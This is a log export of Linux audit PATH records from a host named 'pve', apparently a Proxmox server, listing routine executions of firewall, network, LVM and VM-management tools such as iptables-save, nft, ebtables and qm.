{"@timestamp":1781964895143,"@rawstring":"node=pve type=PATH msg=audit(1781964895.143:63118): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895140,"@rawstring":"node=pve type=PATH msg=audit(1781964895.140:63117): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895140,"@rawstring":"node=pve type=PATH msg=audit(1781964895.140:63117): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895140,"@rawstring":"node=pve type=PATH msg=audit(1781964895.140:63117): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895132,"@rawstring":"node=pve type=PATH msg=audit(1781964895.132:63116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895132,"@rawstring":"node=pve type=PATH msg=audit(1781964895.132:63116): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895126,"@rawstring":"node=pve type=PATH msg=audit(1781964895.126:63115): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895126,"@rawstring":"node=pve type=PATH msg=audit(1781964895.126:63115): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895119,"@rawstring":"node=pve type=PATH msg=audit(1781964895.119:63114): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895119,"@rawstring":"node=pve type=PATH msg=audit(1781964895.119:63114): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895112,"@rawstring":"node=pve type=PATH msg=audit(1781964895.112:63113): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895112,"@rawstring":"node=pve type=PATH msg=audit(1781964895.112:63113): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895106,"@rawstring":"node=pve type=PATH msg=audit(1781964895.106:63111): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895106,"@rawstring":"node=pve type=PATH msg=audit(1781964895.106:63111): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895101,"@rawstring":"node=pve type=PATH msg=audit(1781964895.101:63110): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895101,"@rawstring":"node=pve type=PATH msg=audit(1781964895.101:63110): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895096,"@rawstring":"node=pve type=PATH msg=audit(1781964895.096:63109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895096,"@rawstring":"node=pve type=PATH msg=audit(1781964895.096:63109): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895091,"@rawstring":"node=pve type=PATH msg=audit(1781964895.091:63108): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895091,"@rawstring":"node=pve type=PATH msg=audit(1781964895.091:63108): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895085,"@rawstring":"node=pve type=PATH msg=audit(1781964895.085:63107): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895085,"@rawstring":"node=pve type=PATH msg=audit(1781964895.085:63107): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895079,"@rawstring":"node=pve type=PATH msg=audit(1781964895.079:63106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895079,"@rawstring":"node=pve type=PATH msg=audit(1781964895.079:63106): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895071,"@rawstring":"node=pve type=PATH msg=audit(1781964895.071:63105): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895071,"@rawstring":"node=pve type=PATH msg=audit(1781964895.071:63105): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895065,"@rawstring":"node=pve type=PATH msg=audit(1781964895.065:63104): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895065,"@rawstring":"node=pve type=PATH msg=audit(1781964895.065:63104): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895061,"@rawstring":"node=pve type=PATH msg=audit(1781964895.061:63103): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895061,"@rawstring":"node=pve type=PATH msg=audit(1781964895.061:63103): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895057,"@rawstring":"node=pve type=PATH msg=audit(1781964895.057:63102): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895057,"@rawstring":"node=pve type=PATH msg=audit(1781964895.057:63102): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895055,"@rawstring":"node=pve type=PATH msg=audit(1781964895.055:63101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895055,"@rawstring":"node=pve type=PATH msg=audit(1781964895.055:63101): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895055,"@rawstring":"node=pve type=PATH msg=audit(1781964895.055:63100): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895051,"@rawstring":"node=pve type=PATH msg=audit(1781964895.051:63099): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895051,"@rawstring":"node=pve type=PATH msg=audit(1781964895.051:63099): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895051,"@rawstring":"node=pve type=PATH msg=audit(1781964895.051:63099): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895044,"@rawstring":"node=pve type=PATH msg=audit(1781964895.044:63098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895044,"@rawstring":"node=pve type=PATH msg=audit(1781964895.044:63098): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895036,"@rawstring":"node=pve type=PATH msg=audit(1781964895.036:63097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895036,"@rawstring":"node=pve type=PATH msg=audit(1781964895.036:63097): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895030,"@rawstring":"node=pve type=PATH msg=audit(1781964895.030:63096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895030,"@rawstring":"node=pve type=PATH msg=audit(1781964895.030:63096): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895021,"@rawstring":"node=pve type=PATH msg=audit(1781964895.021:63095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895021,"@rawstring":"node=pve type=PATH msg=audit(1781964895.021:63095): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895013,"@rawstring":"node=pve type=PATH msg=audit(1781964895.013:63094): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895013,"@rawstring":"node=pve type=PATH msg=audit(1781964895.013:63094): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894947,"@rawstring":"node=pve type=PATH msg=audit(1781964894.947:63093): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894947,"@rawstring":"node=pve type=PATH msg=audit(1781964894.947:63093): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894922,"@rawstring":"node=pve type=PATH msg=audit(1781964894.922:63092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894922,"@rawstring":"node=pve type=PATH msg=audit(1781964894.922:63092): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894842,"@rawstring":"node=pve type=PATH msg=audit(1781964894.842:63091): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894842,"@rawstring":"node=pve type=PATH msg=audit(1781964894.842:63091): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894842,"@rawstring":"node=pve type=PATH msg=audit(1781964894.842:63091): item=0 name=\"/usr/sbin/qm\" inode=310596 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=PATH msg=audit(1781964891.033:63090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=PATH msg=audit(1781964891.033:63090): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=PATH msg=audit(1781964891.033:63089): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=PATH msg=audit(1781964891.033:63088): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=PATH msg=audit(1781964891.027:63087): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=PATH msg=audit(1781964891.027:63087): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=PATH msg=audit(1781964891.027:63086): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=PATH msg=audit(1781964891.027:63085): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=PATH msg=audit(1781964886.019:63084): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=PATH msg=audit(1781964886.019:63084): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=PATH msg=audit(1781964886.019:63083): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=PATH msg=audit(1781964886.019:63082): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=PATH msg=audit(1781964886.011:63081): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=PATH msg=audit(1781964886.011:63081): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=PATH msg=audit(1781964886.011:63080): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=PATH msg=audit(1781964886.011:63079): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886005,"@rawstring":"node=pve type=PATH msg=audit(1781964886.005:63078): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886005,"@rawstring":"node=pve type=PATH msg=audit(1781964886.005:63078): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886002,"@rawstring":"node=pve type=PATH msg=audit(1781964886.002:63077): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886002,"@rawstring":"node=pve type=PATH msg=audit(1781964886.002:63077): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886001,"@rawstring":"node=pve type=PATH msg=audit(1781964886.001:63076): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886001,"@rawstring":"node=pve type=PATH msg=audit(1781964886.001:63076): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886001,"@rawstring":"node=pve type=PATH msg=audit(1781964886.001:63075): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885997,"@rawstring":"node=pve type=PATH msg=audit(1781964885.997:63074): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885997,"@rawstring":"node=pve type=PATH msg=audit(1781964885.997:63074): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885997,"@rawstring":"node=pve type=PATH msg=audit(1781964885.997:63074): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885991,"@rawstring":"node=pve type=PATH msg=audit(1781964885.991:63073): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885991,"@rawstring":"node=pve type=PATH msg=audit(1781964885.991:63073): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885985,"@rawstring":"node=pve type=PATH msg=audit(1781964885.985:63072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885985,"@rawstring":"node=pve type=PATH msg=audit(1781964885.985:63072): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885979,"@rawstring":"node=pve type=PATH msg=audit(1781964885.979:63071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885979,"@rawstring":"node=pve type=PATH msg=audit(1781964885.979:63071): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885973,"@rawstring":"node=pve type=PATH msg=audit(1781964885.973:63070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885973,"@rawstring":"node=pve type=PATH msg=audit(1781964885.973:63070): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885968,"@rawstring":"node=pve type=PATH msg=audit(1781964885.968:63068): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885968,"@rawstring":"node=pve type=PATH msg=audit(1781964885.968:63068): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885963,"@rawstring":"node=pve type=PATH msg=audit(1781964885.963:63067): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885963,"@rawstring":"node=pve type=PATH msg=audit(1781964885.963:63067): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885958,"@rawstring":"node=pve type=PATH msg=audit(1781964885.958:63066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885958,"@rawstring":"node=pve type=PATH msg=audit(1781964885.958:63066): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 